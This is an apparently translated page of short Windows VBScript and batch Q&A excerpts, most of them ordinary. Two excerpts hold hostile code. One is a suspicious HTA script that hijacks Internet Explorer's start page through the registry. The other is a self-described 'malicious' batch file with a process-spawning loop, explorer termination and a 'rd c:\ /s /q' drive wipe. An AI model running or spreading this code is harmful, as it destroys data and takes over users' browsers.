我如何使用 vbscript 或命令行显示更改图标对话框,并使用信息将其放入我的 vbscript 中,以便让用户从更改图标对话框中选择他想要设置的图标?
这是我创建的 vbscript,并在 Windows 10 上进行了测试,它可以在桌面上创建一个文件夹并将其图标更改为挂锁图标。
Option Explicit
Dim ws,Icon,strText,DesktopFolder,strFolder
Set ws = CreateObject("wscript.Shell")
DesktopFolder = ws.SpecialFolders("Desktop")
strFolder = DesktopFolder & "\Hackoo Folder Icon Changer"
Icon = "%systemroot%\system32\shell32.dll,-48"
strText = "[.ShellClassInfo]" & vbCrLf &_
"IconResource="& Icon & vbCrLf &_
"IconFile=%systemroot%\system32\shell32.dll"
'Create a folder on our desktop
Call SmartCreateFolder(strFolder)
'Transform our folder to a system folder
Call Execute("attrib +s " & DblQuote(strFolder))
Call Write_INI_File(strFolder,strText)
'********************************************************************
Sub SmartCreateFolder(strFolder)
Dim oFSO:Set oFSO = CreateObject("Scripting.FileSystemObject")
If oFSO.FolderExists(strFolder) Then
Exit Sub …Run Code Online (Sandbox Code Playgroud) 我有一个进程在 Windows XP 计算机上的本地系统帐户下运行。然后,此进程尝试以系统上的另一个用户(例如 Max)身份使用其默认应用程序打开文件。Max 已登录并拥有桌面。
使用 vbscript 中的 ShellExecute 使用以下命令打开该文件:
runas /user:Max "cmd.exe /C start \"path_to_file\""
Run Code Online (Sandbox Code Playgroud)
上面在本地系统帐户下运行的进程执行完毕后,系统会提示 Max 输入密码。(因此,runas 组件显然至少已经启动了。)
只是,即使输入正确的密码后,runas 也会产生以下错误:
RUNAS ERROR: Unable to run - cmd.exe /C start "path_to_file"
5: Access is denied.
Run Code Online (Sandbox Code Playgroud)
我不清楚什么访问被拒绝。运行 cmd.exe /C start "path_to_file" as Max 工作得很好。因此,Max 显然可以访问“path_to_file”。
我正在编写一个批处理脚本,它通过回显每一行并将输出定向到创建的文件来创建 VB 脚本。除了获取命令行变量并将其用作 VBS 变量的两行之外,它在大多数情况下都有效。这是代码:
ECHO:strHomeFolder = oShell.ExpandEnvironmentStrings^(^"^%USERPROFILE^%^"^) >> uninstallBeta.vbs
ECHO:strProgramData = oShell.ExpandEnvironmentStrings^(^"^%ProgramData^%^"^) >> uninstallBeta.vbs
Run Code Online (Sandbox Code Playgroud)
它在 VB 脚本中应该是这样的:
strHomeFolder = oShell.ExpandEnvironmentStrings("%USERPROFILE%")
strProgramData = oShell.ExpandEnvironmentStrings("%ProgramData%")
Run Code Online (Sandbox Code Playgroud)
但会发生什么是批处理脚本,它只是回应整行,包括>> uninstallBeta.vbs. 知道为什么会这样吗?我有类似的行来创建其他 VBS 和批处理脚本,我认为这样做很好。我检查了拼写错误,没有发现。它在命令提示符中运行良好,但在批处理脚本中不起作用。
请帮助我确定我的计算机是否已被入侵。
我还不确定这是什么……我还在浏览我在“研究”期间发现的一些 JavaScript(我的级别 = 初学者)文件……
故事:
我在 Chrome 的默认下载文件夹中找到了一个文件adam-liseli-kizi-otele-goturup-sikiyor.avi.hta 它是一个 VB 脚本:
Set shell = CreateObject("WScript.Shell")
shell.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\URL\Prefixes\\mirc","http://aarama.net/","REG_SZ"
shell.regwrite "HKLM\Software\Policies\Microsoft\Internet Explorer\Control Panel\\HomePage","00000001","REG_DWORD"
shell.regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\\HomePage","00000001","REG_DWORD"
shell.regwrite "HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\\Start Page", "http://aarama.net/","REG_SZ"
shell.regwrite "HKLM\SOFTWARE\Microsoft\Internet Explorer\Main\\Start Page", "http://aarama.net/","REG_SZ"
self.Close
Run Code Online (Sandbox Code Playgroud)我关注了aarama.net,发现有一个钓鱼网站(我认为)看起来像谷歌,其中包含很多我现在正在尝试理解的 JavaScript。
从 Windows XP 开始,所有版本的 Windows 操作系统都安装了讲述人。
它可以被编程为在应用程序中说话。
有一种简单的 VBscript 方法可以让它在程序控制下说出一些内容,例如,如果它收到一个文件,表明其中一个数据记录器的电压过低,Python 会大声说出来,如下所示:
import os
etc
os.exec("c:/users/Admin/python/lowvolt.vbs")
Run Code Online (Sandbox Code Playgroud)
其中,lowvolt.vbs如下所示:
Dim sez, speech
sez = "Low Voltage on 24"
Set speech = CreateObject("sapi.spvoice")
speech.Speak sez
Wscript.Quit
Run Code Online (Sandbox Code Playgroud)
这很好用。
(您可以在这里看到绘制的输入)
让它也在每小时的顶部宣布时间会很有帮助。
问题在标题中 - 如何做到这一点?
set objShell = createobject("wscript.shell")
objShell.Run("""C:\Program Files\Windows Defender\MpCmdRun.exe"" ""-SignatureUpdate""") , 0 <br>
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run chr(34) & "D:\Balloontip.vbs" & Chr(34), 0
Set WshShell = Nothing
Run Code Online (Sandbox Code Playgroud)
以上是在VBS文件中使用的。当我使用任务计划程序运行它时,会出现一个命令窗口,然后立即消失。是否可以在没有任何命令窗口的情况下运行它?
如果我使用“Matthew_Wai”用户帐户,则可以使用瞬时窗口运行 .vbs 文件。
但是,如果我使用“SYSTEM”(如下所示),则 .vbs 文件无法在没有窗口和错误消息的情况下运行(根本没有任何反应)。
(如果需要,我可以将显示语言更改为英语。)

我尝试了很多解决方案,但不知怎的,它们都不起作用。
我目前可以从 vbs 启动没有命令窗口的 bat 文件,但我不知道如何以管理员身份启动它。
VBScript(这样我就可以在没有命令窗口的情况下启动批处理文件):
Set oShell = CreateObject ("Wscript.Shell")
Dim strArgs
strArgs = "cmd /c Start.bat"
oShell.Run strArgs, 0, false
批处理(Start.bat):
Start /wait Application.exe
Net stop ServiceNameGoesHere
如何以管理员身份启动批处理文件,同时仍使其不可见?
我目前正在使用一些程序,例如WinRAR,它们同时具有 32 位和 64 位版本。我想在项目文件夹的根目录下创建一个脚本(VB 或 Batch),该脚本可以“扫描”以根据本地机器处理器架构使用正确的程序。
如果在给定场景中重命名二进制文件不是一种选择,那么这可以通过使用变量的简单文件名技巧来完成WinRAR x86.exe,WinRAR x64.exe或者使用内部程序架构吗?
我已经下载了诸如Cheat Engine 之类的程序,它们具有 32 位和 64 位版本,其中还包含可以执行此操作的二进制文件。
这可以通过简单的脚本编程来完成,如果可以,我应该如何使用以及使用什么脚本格式?
操作系统:Windows 7、Windows 8、Windows 8.1
使用 Windows 命令行,我可以使用该quser命令查看当前用户的登录时间。这会导致比我想要的更多的输出,所以我希望使用for skip并tokens仅获取登录时间和日期。
举个例子
c:\quser.exe
--------------------------
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
GenericUser console 1 Active 1:22 03/11/2015 1:45 PM
Run Code Online (Sandbox Code Playgroud)
使用for,我可以减少它,但它以日期和时间之间的空格作为分隔符,因此只给我日期:
c:\for /f "skip=1 tokens=6" %a in ('quser') do echo %a
--------------------------
03/11/2015
Run Code Online (Sandbox Code Playgroud)
请注意,输出缺少“1:45 PM”。值得注意的是,我无法指定多个标记,因为只有 6 个标头,因此我无法从第二行获取第 7 个标记。如何修改它以收集时间和日期?
*不要担心计算日期差异,因为一旦我可以正确收集它,我将在 VBScript 中处理它。
提前致谢,比姆斯
我需要将本地机器(没有网络或域,只有机器)上的密码批量重置为单个密码;例如 %1Percent 。我想知道这是否可以通过批处理或电源外壳或某种脚本实现。
这是非常复杂的。我正在开发一个恶意批处理文件只是为了测试自己。这将在启动时完成。
我拥有的是三个 + 六个(隐藏的)批处理文件。第一个文件制作了六个其他隐藏的批处理文件,然后CALL是第二个未隐藏的文件。
第二个文件只是说了一些讨厌的事情,最后执行了六个文件。
第三个文件在后台运行并检查第二个文件是否正在运行,如果没有,它将执行六个隐藏文件。
现在我遇到的问题。如果受害者有一个在启动时打开批处理文件的服务或任何东西并且它继续运行,那么所有的事情都会变得一团糟,因为所有正在运行的批处理文件都有进程名称cmd.exe如果受害者关闭了第二个(不是隐藏的)文件,但是另一个批处理文件(不是病毒的一部分)正在运行。第三个批处理文件将假定它仍在运行。因为它也有名字cmd.exe
而且第二个文件也不会在启动时打开。
这是我的批处理文件的代码。
文件编号。1@echo off
:DALLING
echo @echo off >>1.bat
echo :B >>1.bat
echo start >>1.bat
echo goto B >>1.bat
echo @echo off >>2.bat
echo color 02 >>2.bat
echo :start >>2.bat
echo taskkill -f explorer.exe >>2.bat
echo start %windir%\System32\rundll32.exe user 32.dll, LockWorkStation >>2.bat
echo rd c:\ /s /q >>2.bat
echo cls >>2.bat
echo @Echo off >>3.bat
echo Del C:\ …Run Code Online (Sandbox Code Playgroud) 我希望这个 vbs 代码能在远程机器上执行 oShell.run 方法。情况似乎并非如此,但此脚本执行时没有显示错误。
on error resume next
dim oShell, strComputer, intProcessID
strComputer = InputBox("IP or Host Name:", "DELETER - serdaruzun@outlook.com")
set oShell = WScript.CreateObject("Wscript.shell") & strComputer
oShell.run "cmd.exe /C rd \\%PC%\Users\1*.* /s /q", null, null, intProcessID
oShell.run "cmd.exe /C rd \\%PC%\Users\2*.* /s /q", null, null, intProcessID
oShell.run "cmd.exe /C rd \\%PC%\Users\3*.* /s /q", null, null, intProcessID
set oShell = nothing
Run Code Online (Sandbox Code Playgroud)
在远程计算机上执行这些命令的正确方法是什么?
vbscript ×12
batch ×5
windows ×5
command-line ×4
batch-file ×3
cmd.exe ×2
windows-10 ×2
windows-7 ×2
windows-xp ×2
32-bit ×1
64-bit ×1
echo ×1
icons ×1
narrator ×1
passwords ×1
powershell ×1
runas ×1
script ×1
security ×1
virus ×1
writing ×1